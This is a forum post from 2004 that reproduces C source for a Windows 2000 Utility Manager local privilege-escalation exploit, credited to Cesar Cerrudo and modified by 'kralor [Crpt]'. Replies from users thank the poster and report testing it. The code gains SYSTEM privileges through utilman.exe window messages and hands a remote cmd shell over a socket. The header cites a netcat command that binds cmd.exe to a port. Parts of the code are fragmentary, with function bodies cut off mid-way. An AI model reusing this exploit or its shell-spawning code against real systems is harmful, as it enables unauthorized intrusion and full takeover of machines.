/ ******************************************************************************** ********** *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0*** 0***4**** ** [Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt] ** ******************************************************************************** *********** ** It gets system language and sets windows names to work on any win2k :P ** ** Feel free to add other languages :) ** ** v2.666: added autonomous (allinone) remote exploitation system;) ** ** It can be executed through poor cmd.exe shells (like nc -lp 666 -e cmd.exe from a ** ** normal user account). Must be called with an argument (any argument) ** ** You know where we are.. ** *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0*** 0***4**** ******************************************************************************** **********/ /* original disclaimer */ //by Cesar Cerrudo sqlsec>at<yahoo.com //Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!) //Gives you a shell with system privileges //If you have problems try changing Sleep() values. /* end of original disclaimer */
int cnx(char *host, int port) { SOCKET sock; struct sockaddr_in yeah; struct hostent *she; PROCESS_INFORMATION ProcessInformation; STARTUPINFO si;
printf("[i] should be called by myself, try with any argument to load the attack\r\n"); fflush(stdout); sock = WSASocket(0x02,0x01,0x00,0x00,0x00,0x00); if(!sock) { printf("error: unable to create socket\r\n"); return -1; }
void wait_cnx(int port) { int sock, s,t; struct sockaddr_in my_addr; struct sockaddr_in their_addr; int sin_size; char buffer[4095];
if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) { printf("error: unable to create socket\r\n"); exit(1); } my_addr.sin_family=AF_INET; my_addr.sin_port=htons((u_short)port); my_addr.sin_addr.s_addr=INADDR_ANY; if(bind(sock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1) { printf("error: unable to bind socket on port %d\r\n",port); exit(1); } if(listen(sock, 3)==-1) { printf("error: unable to listen\r\n"); exit(1); } sin_size=sizeof(struct sockaddr_in); printf("[i] waiting connection on port %d\r\n",port);
if((s=accept(sock, (struct sockaddr *)&their_addr,&sin_size))==-1) { printf("error: unable to accept connection\r\n"); exit(1); } memset(buffer,0,sizeof(buffer)); printf("[i] host %s connected\r\n", inet_ntoa(their_addr.sin_addr)); printf("[h] type 'exit -shell' to leave the shell\r\n\r\n"); fflush(stdout); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)cmdshell,(void*)s,0,&t); while((sin_size=recv(s,buffer,sizeof(buffer),0))>0) { buffer[sin_size]=0x00; printf("%s",buffer); fflush(stdout); } printf("\r\n[i] shell lost\r\n"); return; }
int set_lang(void) { unsigned int lang_usr,lang_sys,id;
id=GetSystemDefaultLangID(); lang_sys=PRIMARYLANGID(id); id=GetUserDefaultLangID(); lang_usr=PRIMARYLANGID(id); if(lang_usr!=lang_sys) { printf("warning: user language differs from system language\r\n\r\n"); printf("1. system : ");print_lang(lang_sys); printf("2. user : ");print_lang(lang_usr);printf("Select(1-2): "); fflush(stdout); id=getch(); if(id!=49&&id!=50) { printf("wrong choice '%c', leaving.\r\n",id); exit(0); } if(id==49) { printf("system language\r\n"); return lang_sys; } else printf("user language\r\n"); } return lang_usr; }
void banner() { printf("\r\n\r\n\t[Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt]\r\n"); printf("\t\t\t base code by Cesar Cerrudo\r\n"); printf("\t added autonomous (allinone) remote exploitation system\r\n"); printf("\t\t\t You know where we are...\r\n\r\n"); fflush(stdout); return; }
printf("[+] Gathering system language information\r\n"); lang_id=set_lang(); printf("[+] OK language ...");print_lang(lang_id); fflush(stdout); for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++) if(lang[i].id==lang_id) break; if(i==sizeof(lang)/sizeof(lang[0])) { printf("error: undefined language.\r\n"); return -1; } printf("[+] Trying to execute program with SYSTEM priviliges through utilman.exe\r\n"); memset(cmd,0,sizeof(cmd)); for(j=strlen(argv[0]);j>0;j--) if(argv[0][j]=='\\') { j++;break; } strncpy(cmd,&argv[0][j],508); if(cmd[strlen(cmd)-4]!='.') strcat(cmd,".exe");
//popup context menu PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0); Sleep(1000);
// get context menu handle point.x =10; point.y =30; lHandle2=WindowFromPoint(point);
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window Sleep(500);
SendMessage (FindWindow(NULL, lang[i].winhelp), WM_CLOSE, 0, 0);// close open error window SendMessage (FindWindow(NULL, lang[i].utilman), WM_CLOSE, 0, 0);// close utilitymanager WaitForSingleObject(hdlr,INFINITE); WSACleanup(); return 0; }
Chinzo
Jul 20 2004, 08:14 AM
héhéééé, nice one Alien many thanks for that will testing it @ home this evening, thanks
-=[MePhIsTo]=-
Jul 20 2004, 11:47 AM
many thx this exploit could be very useful on non root remote shells
big thx 4 compiling
XeLoRy
Jul 20 2004, 01:32 PM
very good job man, usefull compiled app
ps: where is the parameter to set when run the prog ? when i run it with an ip after i ve got this :
[i] waiting connection on port 31337 [+] Gathering system language information [+] OK language ...French [+] Trying to execute program with SYSTEM priviliges through utilman.exe prog: ms04019.exe path: C:\TOOLZ\ms04019
